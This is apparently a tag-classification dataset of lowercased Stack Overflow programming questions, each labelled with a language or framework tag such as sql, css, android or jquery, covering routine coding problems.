adding command to activate a windows batch file from .net program  im currently coding a program in vs.net  and i would like to make my program activate/run a  file when the program is opened  i already have the program handling command line arguments from an external program (pager decoder)  but would like the program to automatically open and run a file/files aswell when it is opened.    does anyone have any idea on how to do this that could help me out    <hr/>   <strong>code i have so far:</strong>   <pre><code>using system; using system.collections.generic; using system.linq; using system.windows.forms; namespace windowsformsapplication1 {     static class program     {         /// &lt;summary&gt;         /// the main entry point for the application.         /// &lt;/summary&gt;         [stathread]         static void main(string[] args)         {             application.enablevisualstyles();             application.setcompatibletextrenderingdefault(false);             application.run(new form1(args));         }     } } </code></pre>,.net
getting max value in rows for a column  i have a bit of sql code that works well and i need to tweak it to get the max value for the revisionno column. its not working for me and i not sure if i need a having clause or how to best implement it.  here is the working code:   <pre><code>select valuetext from variablevalue    where (variableid = 60) and (documentid in                (select documentid from documents                    where (deleted = 0 and documentid in                              (select documentid from documents where (filename like  tct-013963%.sldasm )))) </code></pre>   this is not:   <pre><code>select valuetext from variablevalue    where (variableid = 60) and max(revisionno) and (documentid in                (select documentid from documents                    where (deleted = 0 and documentid in                              (select documentid from documents where (filename like  tct-013963%.sldasm ))))) </code></pre>   the result i am getting with the query that runs returns two rows of from the valuetext column (this is a description field and i want the latest  hence the max value on the revisionno column).    |valuetext|revisionno|    |pressure vessel front end assy bnct|1|    |pressure vessel front end assy nubeam|7|,sql
nsurl encoding issue  in my project i am communicating with the moudule via usb with ios device  and in my app i am calling the webservice to get the module diagram based on the selected configuration.  here is the url.   <strong><a href= http://mycompurl.php message=message&amp;color=blue&amp;client=ipad&amp;radio=pioneer&amp;make=chevrolet&amp;model=cobalt&amp;year=2008&amp;option=none  rel= nofollow >http://mycompurl.php message=message&amp;color=blue&amp;client=ipad&amp;radio=pioneer&amp;make=chevrolet&amp;model=cobalt&amp;year=2008&amp;option=none</a></strong> and when that screen directly with out connecting the module it is working fine showing respected image but when go to that screen after connected with module the url changes like <strong><a href= http://mycompurl.php message=message&amp;color=blue&amp;client=ipad&amp;radio=pioneer&amp;make=chevrolet&amp;model=cobalt%00%00%00%00%00%00%00%00%00%00%00&amp;year=2008&amp;option=none  rel= nofollow >http://mycompurl.php message=message&amp;color=blue&amp;client=ipad&amp;radio=pioneer&amp;make=chevrolet&amp;model=cobalt%00%00%00%00%00%00%00%00%00%00%00&amp;year=2008&amp;option=none</a></strong> this. so it not working. i don t know why it is adding %00 to the model.    thanks in advance   <pre><code>url = [[nsurl alloc] initwithstring:urlstring stringbyaddingpercentescapesusingencoding:nsasciistringencoding]]; </code></pre>   i am using url like this,ios
"select input not showing options  i am creating a web form. here you have the code for two of the inputs:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= form-group &gt;
                             &lt;label class= col-sm-3  control-label &gt;nivel de usuario&lt;/label&gt;
                           &lt;div class= col-sm-9 &gt;
                               &lt;select class= form-control  id= txtnivel_usuario  &gt;
                               
                                   &lt;option value= 1  selected= selected  selected=true&gt; usuario &lt;/option&gt;
                                   &lt;option value= 3 &gt; administrador &lt;/option&gt;
                                   &lt;option value= 5 &gt; superadministrador &lt;/option&gt;
                             
                               
                               &lt;/select&gt;
                           &lt;/div&gt;
                         &lt;/div&gt;
     
     
     
                         
                          &lt;div class= form-group &gt;
                             &lt;label class= col-sm-3  control-label &gt;verificado&lt;/label&gt;
                           &lt;div class= col-sm-9 &gt;
                               &lt;select class= form-control  id= txtverified  &gt;
                               
                                   &lt;option value= 1  selected= selected  selected=true&gt; si &lt;/option&gt;
                                   &lt;option value= 0 &gt; no &lt;/option&gt;
                             
                               
                               &lt;/select&gt;
                           &lt;/div&gt;
                         &lt;/div&gt;</code></pre>
 </div>
 </div>
     at the first select input  the browser is not showing the default selected value. at the second select input  the browser is showing the default selected value  in this case:  si .    i am not able to find the reason for this behaviour. i have checked it several times  and detected that changing the id value for the first select input makes it work  but i don´t understand why.  thank you.    edited:    <a href= https://i.stack.imgur.com/ezhmy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ezhmy.png  alt= enter image description here ></a>    edit #2   <pre><code> &lt;div class= form-group &gt;                             &lt;label class= col-sm-3  control-label &gt;nivel de usuario&lt;/label&gt;                           &lt;div class= col-sm-9 &gt;                               &lt;select class= form-control  id= txtnivel_usuario  &gt;                                    &lt;option value= 1  selected= selected  &gt; usuario &lt;/option&gt;                                   &lt;option value= 3 &gt; administrador &lt;/option&gt;                                   &lt;option value= 5 &gt; superadministrador &lt;/option&gt;                                 &lt;/select&gt;                           &lt;/div&gt;                         &lt;/div&gt;                              &lt;div class= form-group &gt;                             &lt;label class= col-sm-3  control-label &gt;verificado&lt;/label&gt;                           &lt;div class= col-sm-9 &gt;                               &lt;select class= form-control  id= txtverified  &gt;                                    &lt;option value= 1  selected= selected  &gt; si &lt;/option&gt;                                   &lt;option value= 0 &gt; no &lt;/option&gt;                                 &lt;/select&gt;                           &lt;/div&gt;                         &lt;/div&gt; </code></pre>",html
sql stored procedure  i have a table in sql in which i inserted my another table names.there are table names column.so is it possible (programmatically inside sql)  getting the table names from this column and use them in stored procedure as table name.how inside sql. thanks,sql
checking whether the user input is a str in python  i checked various questions on stack overflow but one thing every logic lacks. let me demonstrate using python:   <pre><code>while true:     user_input = raw_input()     if type(user_input) == str:         print  error      else:         print  bingo  </code></pre>   also  we cannot use input() in place of raw_input() as it gives the error:traceback (most recent call last):   <pre><code>file  .\test.py   line 3  in &lt;module&gt;     user_input = int(input())   file  &lt;string&gt;   line 1  in &lt;module&gt; nameerror: name  asdf  is not defined </code></pre>   the problem here is that raw_input converts the user input into string so it always prints  error  and if i change the second line to    <pre><code>user_input = int(raw_input) </code></pre>   then  it gives an error:   <pre><code>traceback (most recent call last):   file  .\test.py   line 3  in &lt;module&gt;     user_input = int(raw_input()) valueerror: invalid literal for int() with base 10:  asdf  </code></pre>   i tried this with try and except but it shall work fine to check integer but not a string.,python
making a new rails project without downloading gems / locking all gem versions in the gemfile in a new rails project  i want to start a new rails project  but i am working offline  so rails won t be able to download all the gems it wants if i do rails new foo. i already have everything i need for a new project (thor  arel etc   i ve been using this computer for rails development). how can i get rails to bypass the downloads it normally tries to do and use what i already have  also  does anybody know how to start off with all of the gems in the gemfile explicitly versioned so that bundle doesn t try and download updates unless you take the versions off (default version lock),ruby-on-rails
http get response parsing in java and store in a string  i have this below response from a http get request   <pre><code>response=you are about to purchase abcd package for 20 usd. charge :1usd&amp;encoding=0&amp;sessionop=end </code></pre>   i m trying to get only <code> you are about to purchase abcd package for 20 usd. charge :1usd </code> to a string in java so that i can display it to the customer  but i m not sure how.    any help would be appreciated. thank you,java
how to write a bitmap out to a xml file  might sound crazy  but it s what i need to do.  i want to take a bitmap object and use the xmlpullparser/xmlserializer to write this to a flat file.  obviously i will need to read the xml tag back into a bitmap object.    i have tried various things  similar to how i write and read bitmaps from a database.   <pre><code>            bitmap bitmap = ((bitmapdrawable) icon).getbitmap();                             bytearrayoutputstream outputstream = new bytearrayoutputstream();              bitmap.compress(compressformat.png  0  outputstream);              byte[] bitmapbyte = outputstream.tobytearray();  </code></pre>   where i get lost is once i write this out to my xml file as a string  i can never get it converted back properly.  any pointers is appreciated.    edit: i want to provide a little more information. i am writing out a good deal of xml data for a backup purpose  so loading or writing time is of no concern.  this is not a main source of the data (main source is a sqlite database).  i do not want to have to write out a couple of very small (48x48pixel) images as well if i can help it.    i am reading in my xml using the xmlpullparser  which reads a string:   <pre><code>if (name.equalsignorecase( somexmltag )){ string somestring = parser.nexttext(); </code></pre>   i am writing out my xml using the xmlserializer  which writes a string:   <pre><code>            xmlserializer serializer = xml.newserializer();         stringwriter writer = new stringwriter();             serializer.setoutput(writer);             serializer.startdocument( utf-8   true);             serializer.starttag(     sometag );                            serializer.text(somestring); </code></pre>   so somehow i have to turn my bitmap into a string and then turn that string back into a bitmap. i will do some searches on base64 to see if i get any good examples.,android
passing datakeys between pages  using a gridview on the default page and want to show details of the row selected on another page.  the code for capturing and sending the datakey is -   <pre><code>protected void selectedindexchanged(object sender  eventargs e) {             int index = gridview1.selectedindex;             response.redirect( invoicepage.aspx  entityid=   + gridview1.datakeys[index].value.tostring());  } </code></pre>   and the code for retrieving the value is -   <pre><code>protected void page_load(object sender  eventargs e) {     string id = request.querystring[ entityid ]; } </code></pre>   my problem is that the id variable is a null on the receiving page.  what am i missing,asp.net
cpp templates functor that need get void or int  how can i create a functor (in templates) that get void or int   <pre><code>template &lt;class t&gt; int temp::operator()(t s) {     ... } </code></pre>   thanks,c++
dump a json response to a file  how do you dump a json response to a file      basically i can’t hit the api directly  so for debugging reasons i would like to dump the response to a file on the hosting server then download the file  where i can work with it.,c#
dependency injection in imported python module  my python module uses some functions from another module  but i have several implementations of that module interface. how to point out  which one to use     simple example:    a.py:   <pre><code>import b def say_hi()    print  message:   + b.greeting() </code></pre>   main.py:   <pre><code>import a(b=my_b_impl) a.say_hi() </code></pre>   my_b_impl.py:   <pre><code>def greeting():    return  hallo!  </code></pre>   output:   <pre><code>message: hallo! </code></pre>,python
have a jquery variable update in real time   i m creating a map that has a draggable pin using jquery  and i ve created a simple function to get the <code>left</code> and <code>top</code> css properties.  the only problem is  if i drag the pin around  the variables don t update in real time.     is it possible to get the variables to update in real time     <a href= http://jsfiddle.net/9w7cdn80/2/  rel= nofollow >http://jsfiddle.net/9w7cdn80/2/</a>   <pre><code>$(function() {      $( #pin ).draggable(); }); $( document ).ready(function() {      var ypos = $( #pin ).css( top );      var xpos = $( #pin ).css( left );      $( #wcd-y ).val(ypos);      $( #wcd-x ).val(xpos); }); </code></pre>,jquery
import html snippet into other file  i was just working on a project today  and noticed i was copying and pasting a lot of content when it came to working on the nav section and i was wondering if there is a way to import an html snipped into a different html file so i don t have to keep copying and pasting. i was trying to solve this by using a  link  tag. it was setup like this:    index.html   <pre><code>&lt;div&gt; &lt;link rel= import  href= nav.html &gt; &lt;/div&gt; </code></pre>   nav.html    <pre><code>&lt;a class= nav-link  href= reviews.html &gt;reviews&lt;/a&gt; &lt;a class= nav-link  href= trending &gt;trending&lt;/a&gt; &lt;a class= nav-link  href= contact &gt;contact&lt;/a&gt; &lt;a class= nav-link  href= about &gt;about&lt;/a&gt; &lt;a class= nav-link  href= blog &gt;blog&lt;/a&gt; </code></pre>   however  i noticed that this was not working  and i couldn t get the nav.html content to import into the index.html file. so instead of this  i had to keep copying and pasting.     please let me know if you have a solution to this. thanks in advance!,html
how to change internal server error code in an php application   in my php aplication i want that whenever -internal server or 500 error occurs i want the error code to be changed from 500 to 302.i mean error code 302.,php
mysql replace values in a table  i have a users table in my mysql database with columns like id  age and gender. i have inserted around 500 records into it.    now i need to interchange the gender for the records  i.e.  replace male with female and female with male.    i thought to do it this way:   <pre><code>update users set gender= female  where gender= male ; update users set gender= male  where gender= female ; </code></pre>   but as you can see  as soon as i run the first query  all the records will be updated with the gender set to  female .    how can i modify the query or shall i go another way,mysql
get the class attributes of specific i which have class  active   my html code is this  i need to get all the class attributes of the active li.   <pre><code> &lt;ul class= daily &gt;              &lt;li class= day active temp_2 &gt;1&lt;/li&gt;         &lt;li class= day temp_1 &gt;2&lt;/li&gt;         &lt;li class= day temp_3 &gt;3&lt;/li&gt;         &lt;li class= day temp_4 &gt;4&lt;/li&gt;     &lt;/ul </code></pre>   i have used this code but failed    <pre><code>jquery( #daily &gt; ul &gt; li ).hasclass( active ).attr( class ); </code></pre>,jquery
jquery : how to debug   recently i watched a tutorial from youtube (<a href= http://www.youtube.com/watch v=8mwkq7_jls8  rel= nofollow noreferrer >http://www.youtube.com/watch v=8mwkq7_jls8</a>)    the boy is typing jquery code and as soon as he presses enter key we can see the result intently. what tool is that,jquery
how to return an object rather than console log values  i wrote a javascript function to find the number of odd integers  number of negative integers  average  and median value.    the code is accomplishing everything that i wanted it to  however  i am wondering if i can rewrite it to get the function to return an object rather than just the console log values. i ve also included a link to my js bin (<a href= https://jsbin.com/digagozuru/edit html css js console output  rel= nofollow >https://jsbin.com/digagozuru/edit html css js console output</a>)    any advice or suggestions would be appreciated! thanks.   <pre><code>  var arrayanalyzer = function(myarray) {      var odds = 0;     var negatives = 0;     var avg;     var median;      for (var i = 0; i &lt; myarray.length; i++) {       if (myarray[i] % 2 !== 0) {         odds += 1;       }       if (myarray[i] &lt; 0) {         negatives += 1;       }     }      console.log( there are   + odds +   odd numbers. );     console.log( there are   + negatives +   negative numbers. );      var sum = myarray.reduce(function(previousvalue  currentvalue) {       return previousvalue + currentvalue;     });      avg = sum / myarray.length;     console.log( the average is   + avg.tofixed(2));      var orderedarray = myarray.sort(function(a  b) {       return a - b;     });      if (orderedarray.length % 2 === 0) {       var position1 = orderedarray.length / 2;       var position2 = position1 - 1;       median = (orderedarray[position1] + orderedarray[position2]) / 2;     } else {       var position = math.floor(orderedarray.length / 2);       median = orderedarray[position];     }      console.log( the median is   + median);   };    arrayanalyzer([7  -3  0  12  44  -5  3]); </code></pre>,javascript
update between three tables using left join in mysql  i have three tables  and want to update some fields in these tables but the query doesn t work     this is my query:   <pre><code>update  customers cust     left join contract cont on cust.customer_id = cont.customers_customer_id     left join payments pay on cust.customer_id = pay.customers_customer_id set  cust.customer_name =  sara   cust.customer_id =  1201941718    cust.customer_mobile1 =  01258863956   cust.customer_phone =  0224598755    cust.customer_mail =  sara@gmail.com    cont.customers_customer_id =  1201941718    pay.customers_customer_id =  1201941718  where cust.customer_id =  2 ; </code></pre>   the error:   <blockquote>    error code: 1451. cannot delete or update a parent row: a foreign key   constraint fails (<code>alhawel</code>.<code>payments</code>  constraint   <code>fk_payments_customers1</code> foreign key (<code>customers_customer_id</code>)   references <code>customers</code> (<code>customer_id</code>) on delete no action on update   no action)  </blockquote>,mysql
css issue in ie7 with focused textarea  <a href= https://www.dropbox.com/s/k2im4wtnq5ygkms/ie7wtf.png  rel= nofollow >https://www.dropbox.com/s/k2im4wtnq5ygkms/ie7wtf.png</a>    textarea is below that div element and focus is still on textarea. how to overlap that cursor  to make it invisible     here is example: <a href= http://jsfiddle.net/jkdzr/  rel= nofollow >http://jsfiddle.net/jkdzr/</a>    <strong>press run in jsfiddle for example to work.</strong>,css
removing lines above specific line in text in python  i have text like this   <pre><code>abc  def ref.by aaa aaa </code></pre>   i want remove all the line before the line ref.by.    how can i do it in python,python
"how to create table of contents from html table  i am trying to create a table of contents from a html (snippet attached) file that has a massive table.     essentially i want to create a hyperlinked table of contents which references the first and second columns of the table as follows:   <pre><code>table of contents:  main 1   one   two main 2   one   two </code></pre>   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;pre&gt;&lt;table border= 1 &gt;&lt;tr&gt;&lt;th&gt;main 1&lt;/th&gt;&lt;td&gt;&lt;table border= 1 &gt;&lt;tr&gt;&lt;th&gt;one&lt;/th&gt;&lt;td&gt;&lt;br&gt;&lt;pre&gt;blah blah blah&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/pre&gt;&lt;tr&gt;&lt;th&gt;two&lt;/th&gt;&lt;td&gt;&lt;br&gt;&lt;pre&gt;blah blah&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/pre&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;main 2&lt;/th&gt;&lt;td&gt;&lt;table border= 1 &gt;&lt;tr&gt;&lt;th&gt;one&lt;/th&gt;&lt;td&gt;&lt;br&gt;blah blah blah&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;two&lt;/th&gt;&lt;td&gt;&lt;br&gt;blah blah blah&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/pre&gt;</code></pre>
 </div>
 </div>
     so when we click on <code>main1</code> in the table of contents it should take us to the main1 section of the table and so on    edit: the table of content needs to be added to the same html file (as attached in the snippet) at the top    how do i go about doing this",html
disable  unsafe statement for binary logging  in mysql  how do i disable <code>unsafe statement for binary logging</code> warning message in error log in <code>mysql</code> <code>5.5</code> version.<br> i don t want to change my <code>binlog</code> format to row or mixed mode.      in <code>percona</code> there is variable <code>log_warnings_suppress = 1592</code><br> is there anything like this in <code>mysql</code>        thanks <br> ash,mysql
angular not adding /  i m working on a angular project that behaves fine on my localhost  but when the site is deployed to the live url  angular is not adding a / before #.    so what i get is: somesite.com/something#/myview    what i want is: somesite.com/something/#/myview    i m not sure what causes this - maybe my route    <pre><code>$routeprovider     .when( /            {             templateurl:  partials/questions.html               controller:  questioncontroller          })     .when( /familie            {             templateurl:  partials/familie.html          })     .when( /single            {             templateurl:  partials/single.html          })     .when( /complete            {             templateurl:  partials/complete.html          })     .when( /vinder            {             templateurl:  partials/vinder.html               controller:  winnercontroller          })     .otherwise({ redirectto:  / }); </code></pre>,angularjs
how can i remove the     in the url from get   i have a simple textbox   <pre><code>&lt;form action= http://www.google.com  method= get &gt; something &lt;input type= text  name= something &gt; &lt;input type= submit &gt; &lt;/form&gt;  </code></pre>   if i enter something into the input this will be the url <code>https://www.google.com/ something=something2</code> - in this case <code>something2</code> is what the user types. but i want to see the url like this <code>https://www.google.com/something=something2</code>    i ve tried with <code>.htaccess</code> but i ve failed.   <pre><code>rewriteengine on rewriterule .*  /%{query_string}  [l] </code></pre>,html
need help in generating a certain pattern of hashes  i have been trying to generate a pattern of hashes that looks something like this:   <pre><code>#            #  ##        ##   ###    ###    ######## </code></pre>   my code is :-   <pre><code>#include &lt;iostream&gt;  using namespace std;  int main() { int pro = 1; int space2= 12; int handle = space2; int space = 3; int handle2 = space;  for (int i = 2 ; i &lt;=8 ; i = i+2) {      space = handle2;     handle = space2;       int k = i;     while (k &gt; 0)     {         if (k == i/2)         {              while (space2 &gt; 0)             {                 cout &lt;&lt;    ;                 space2--;              }              cout &lt;&lt;  # ;             k--;         }         else         {             if (i &gt; 2){                 while (space &lt;=3){                     cout &lt;&lt;    ;                     space ++;                 }                 handle2 --;             }             cout &lt;&lt;  # ;             k--;         }      }     space2 = handle - 4;     cout &lt;&lt; endl; }  return 0; } </code></pre>   i m pretty sure that i have done some stupid mistake but i can t seem to find out . the pattern generated by this code has the hashes correct but its messed up in the spaces. can anyone just tell me where i have gone wrong  just the error  i ll figure how to correct it on my own. thanks!    output:-   <pre><code>#            #  ##        ##     ###    ###          ######## </code></pre>,c++
first android app: r cannot be resolved to a variable   from the [android getting started][1] tutorial i m trying to build my first app. this however  is quite a process. i was at the point  add the actions to the action bar  on [this page][2] when i encountered the error *main_activity_actions cannot be resolved or is not a field* for this line:   <pre><code>inflater.inflate(r.menu.main_activity_actions  menu); </code></pre>   so i found a similar post here on so  which suggests to remove <code>import android.r;</code> and then do <code>project -&gt; clean</code> and rebuild. since i didn t have the <code>import android.r;</code> in it i simply tried to add it  do a clean and rebuild  but this leaves me with even more errors. so i removed the <code>import android.r;</code> again and did a clean and rebuild again  but now it still gives me all those new errors  saying: <code>r cannot be resolved to a variable</code> for the following lines (these lines do not appear close to eachother  but throughout the file):   <pre><code>setcontentview(r.layout.activity_main); inflater.inflate(r.menu.main_activity_actions  menu); edittext edittext = (edittext) findviewbyid(r.id.edit_message); </code></pre>   for reference  the total file is <a href= http://pastebin.com/cucguvip  rel= nofollow >here on pastebin</a>.    can anybody please help me out here  what am i doing wrong and how can i solve this     [edit] below the code in my res/menu/main_activity_actions.xml. if you need to see any more code let me know!   <pre><code>&lt;menu xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;!--  search  should appear as action button --&gt;     &lt;item android:id= @+id/action_search          android:icon= @drawable/ic_action_search          android:title= @string/action_search          android:showasaction= ifroom  /&gt;      &lt;!-- settings  should always be in the overflow --&gt;     &lt;item android:id= @+id/action_settings          android:title= @string/action_settings          android:showasaction= never  /&gt;      &lt;!-- add some other thing  just cuz i can.. --&gt;     &lt;item android:id= @+id/action_something_else          android:title= @string/action_something_else          android:showasaction= never  /&gt;  &lt;/menu&gt; </code></pre>,android
objective-c expression explanation  what do these lines mean    <pre><code>   for(contactinfo *item in fullcontactsarray) {         if(item-&gt;contactid || item-&gt;listid)             [contactsarray addobject:item];     } </code></pre>   especially  i want to know what <code>-&gt;</code> means. please  help.,objective-c
jquery html css  hi i am facing a jquery runtime error.     <strong>error</strong>   <blockquote>    unable to get property  initialize  of undefined or null reference  </blockquote>   below is the snippet of my code.   <pre><code>$(document).ready(function(){   var $ = document.queryselector.bind(document);   window.onload = function () {     var test = $( #perfect-scrollbar );     var ps;     ps.initialize(test);     [].foreach.call(test.queryselectorall( .element )  function (el) {       el.queryselector( a ).addeventlistener( click   function () {         el.parentnode.removechild(el);         ps.update(perfect-scrollbar);       });     });   };  }); </code></pre>,jquery
text in header tag auto move to the right side of box without any css stuff  it is a common <code>&lt;h3&gt;</code> but the text appear on the right side of box  not extreme right but almost  something like that    h3:    .....................................................................................................................................................................   <pre><code>                                                             text appear here </code></pre>   .....................................................................................................................................................................    html file:   <pre><code>&lt;div class= fifth &gt; &lt;p&gt;f-village&lt;/p&gt;     &lt;div class= f-t &gt;         &lt;div class= f-t-col  id= f-t-c-photos &gt;             &lt;h2&gt;photos&lt;/h2&gt;             &lt;div class= big-photo &gt;                 &lt;img src= ./images/photo.jpg &gt;             &lt;/div&gt;             &lt;div class= small-photo &gt;                 &lt;img src= ./images/photo.jpg &gt;                 &lt;img src= ./images/photo.jpg &gt;                 &lt;img src= ./images/photo.jpg &gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;div class= f-t-col  id= f-t-c-material &gt;             &lt;h2&gt;material&lt;/h2&gt;             &lt;span&gt;                 ...some text...             &lt;/span&gt;             &lt;p&gt;                 &lt;img src= ./images/history.jpg &gt;                 ...some text...                             &lt;/p&gt;                     &lt;/div&gt;         &lt;div class= f-t-col &gt;             &lt;h2&gt;words&lt;/h2&gt;             &lt;p class= words &gt;&lt;em&gt; ...some text... &lt;/em&gt;             &lt;/p&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= f-m &gt;         &lt;div class= f-m-l &gt;             &lt;h3&gt;video&lt;/h3&gt; &lt;!--the problem appear here--&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   css file:   <pre><code>.fifth{     /* margin-top: 40px; */     width: 100%;     height: 700px;     color: white;     background-image: url( ../images/ww-bg.jpg );     margin: auto; }  .fifth .f-t-col{     color: white;     height: 265px;     width: 27%;     display: inline-block;     margin-left: 57px;     float: left; } #f-t-c-photos div{     float: left; } #f-t-c-photos .big-photo{     width: 190px; } #f-t-c-photos div:last-child{     width: 80px; } .f-t{     width: 1102px;     margin-left: 125px;     height: 240px;     border-bottom: 2px solid rgba(100  100  100  0.9); } .small-photo img{     margin-bottom: 2px;      height: 55px;     width: 60px; } .small-photo img:first-child{     margin-top: 15px; } .big-photo img{     width: 165px;     height: 171px;     margin-top: 15px;     border: 2px #00b3ff solid; } .f-t-middle img{     width: 165px;     height: 170px;     margin-top: 15px;     border: 2px #00b3ff solid; }  .words{     margin-top: 65px;     font-size: 17px; } .fifth h2{     color: #2e2e2e;     font-size: 17px;     color: whitesmoke;     padding: 0 0 10px 7px;     background: url( ../images/ww-title.png ) top right no-repeat;     margin-top: 5px;     height: 8px;     border-left: 3px solid red; } #f-t-c-material img{     float: left;     width: 215px; } #f-t-c-material span{     font-weight: 800;     font-size: 16px;     color: #00b3ff; }  .f-m:before{     clear: both; } .f-m h3{     color: white; } </code></pre>,css
create section with video background that fills initial viewport and allows content to fall below it  to put it simply  i m trying to create a div/section with a video background that fills the fullscreen of the initial viewport and allows other sections to follow it.    something pretty much exactly like this: <a href= http://jmd.im/  rel= nofollow noreferrer >http://jmd.im/</a>    notice how no matter what your window size is  that section is always the size of your window  and remains like that until you scroll down. i d like to have other sections below it  so that you may scroll down and view them.    what is the best way to go about doing this,css
android apk to a streaming website  in my application i would like to stream a live video as im capturing with the camera on the phone. this stream should be sent to a website  like ustream or justin.tv (or any one website).  do you guys know if its possible to do this via the code   like an ustream apk to use or something.    thanks!,android
ios - storyboard|xib how do i set the status bar to hide  i want to explore the development of xib| storyboard  the details of the status bar hidden  and finally related blog  thanks。,ios
"precedence not working properly in css3  in the below code i have <code>h1</code> tag when i put this on <code>&lt;aside&gt;</code> or <code>&lt;article&gt;</code> tag  value defined in <code>article</code> selector always override <code>aside</code> in both case when we set <code>&lt;article&gt;</code> tag as child or parent.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>aside h4
 {
  font-style:italic!important;
  color:yellow;
 }
 article h4
 {
  color:black;
     font-style:normal;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;article&gt; 
   &lt;aside&gt;
     &lt;h4&gt;heading&lt;/h4&gt;
   &lt;/aside&gt;
 &lt;/article&gt;
 
 &lt;aside&gt;
   &lt;article&gt;  
     &lt;h4&gt;heading&lt;/h4&gt;
   &lt;/article&gt;
 &lt;/aside&gt;</code></pre>
 </div>
 </div>",css
best way to show empty lists in rails  i have been working to follow the best practices in rails in order to save time in the future.     i am displaying all terms in a view which has more than 0 results.    <pre><code>&lt;% @terms.each do |t| %&gt;   &lt;li class= media &gt;     &lt;div class= media-body &gt;       &lt;div class= media-heading text-semibold &gt;&lt;%= link_to  #{t.name}   authenticated_root_path %&gt;&lt;/div&gt;       &lt;span class= text-muted &gt;&lt;%= link_to  settings   edit_account_term_path(@account  t) %&gt;&lt;/span&gt;     &lt;/div&gt;   &lt;/li&gt; &lt;% end %&gt; </code></pre>   what is the best way to display a different view if the term count is zero  i could do something like a simple if statement in the view doing a count but that seems cluttered. any suggestions,ruby-on-rails
scale imageview and clip bottom only when outside parent view   how does one scale an imageview  yet still have it clip (bottom only) when it/parts of it are outside its parent view     my code;    xml has 3 elements; image in raw size  view 200px high  view 150px high.    <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= 1000px  android:layout_height= 850px  android:background= #fffec6  android:orientation= vertical &gt;  &lt;!-- single image in raw size --&gt; &lt;imageview     android:layout_width= wrap_content      android:layout_height= wrap_content      android:src= @drawable/fauxcard      /&gt;  &lt;!-- should be scaled with no clipping --&gt; &lt;relativelayout     android:id= @+id/wrapper1      android:layout_width= 1000px      android:layout_height= 200px      android:background= #cccccc &gt; &lt;/relativelayout&gt;  &lt;!-- should be scaled with the bottom clipped --&gt; &lt;relativelayout     android:id= @+id/wrapper2      android:layout_width= 1000px      android:layout_height= 150px      android:background= #c6ffd1      android:clipchildren= true &gt; &lt;/relativelayout&gt; &lt;/linearlayout&gt; </code></pre>   java;   <pre><code>    relativelayout r1 = (relativelayout) findviewbyid(r.id.wrapper1);     relativelayout r2 = (relativelayout) findviewbyid(r.id.wrapper2);      int marginleft = 0;     for (int i = 0; i &lt; 10; i++)     {         // iv 1 - the parent view for these is the correct 200 high  so these will be unclipped/unscaled         imageview myimg1 = new imageview(this);         myimg1.setimageresource(r.drawable.fauxcard);         relativelayout.layoutparams layout1 = new relativelayout.layoutparams(100  200);         layout1.setmargins(marginleft  0  0  0);         r1.addview(myimg1  layout1);          // iv 2 - the parent view for these is not high enough (only 150 high)  so i want these scaled but clipped (bottom of image clipped)         imageview myimg2 = new imageview(this);         myimg2.setimageresource(r.drawable.fauxcard);          // scaling         // myimg2.setscaletype(imageview.scaletype.center); // not scaled - clipped         // myimg2.setscaletype(imageview.scaletype.center_inside); //  scaled - not clipped         myimg2.setscaletype(imageview.scaletype.center_crop); // scaled - clipped at top and bottom         // myimg2.setscaletype(imageview.scaletype.fit_end); // scaled too much - clip not needed         // myimg2.setscaletype(imageview.scaletype.fit_start); // scaled too much - clip not needed         // myimg2.setscaletype(imageview.scaletype.fit_center); // scaled too much - clip not needed         // myimg2.setscaletype(imageview.scaletype.fit_xy); // scaled incorrect ratio - clip not needed         // myimg2.setscaletype(imageview.scaletype.matrix); // not scaled - clipped          relativelayout.layoutparams layout2 = new relativelayout.layoutparams(100  200);         layout2.setmargins(marginleft  0  0  0);         r2.addview(myimg2  layout2);          // i am using marginleft as my real scenario is more complex - there are varying gaps between the images based on other logic         // the important issue is clipping the images whilst scaling them         marginleft += 100;     } </code></pre>   to both of the relativelayouts i m adding 10 images. i want both sets of images to be scaled the same  but as the 2nd rl isn t high enough i want those images clipped (the bottom of the image gone).     i ve tried all scaletypes  but none of them achieve this. the closest is center_crop  which has the correct scaling  but both the top and bottom are clipped (and  again  i just want the bottom clipped).     here s a image; <a href= https://imgur.com/a/qljkm  rel= nofollow noreferrer >https://imgur.com/a/qljkm</a>,android
replacing objective-c foundation function implementations  is there a way to replace the implementation of an objective-c foundation function  such as the nsclassfromstring function for example  i am of course aware of <a href= https://developer.apple.com/library/ios/documentation/cocoa/reference/objcruntimeref/reference/reference.html#//apple_ref/doc/uid/tp40001418-ch1g-sw66  rel= nofollow >class_replacemethod</a>  but it seems to work only for class methods and not general functions.,objective-c
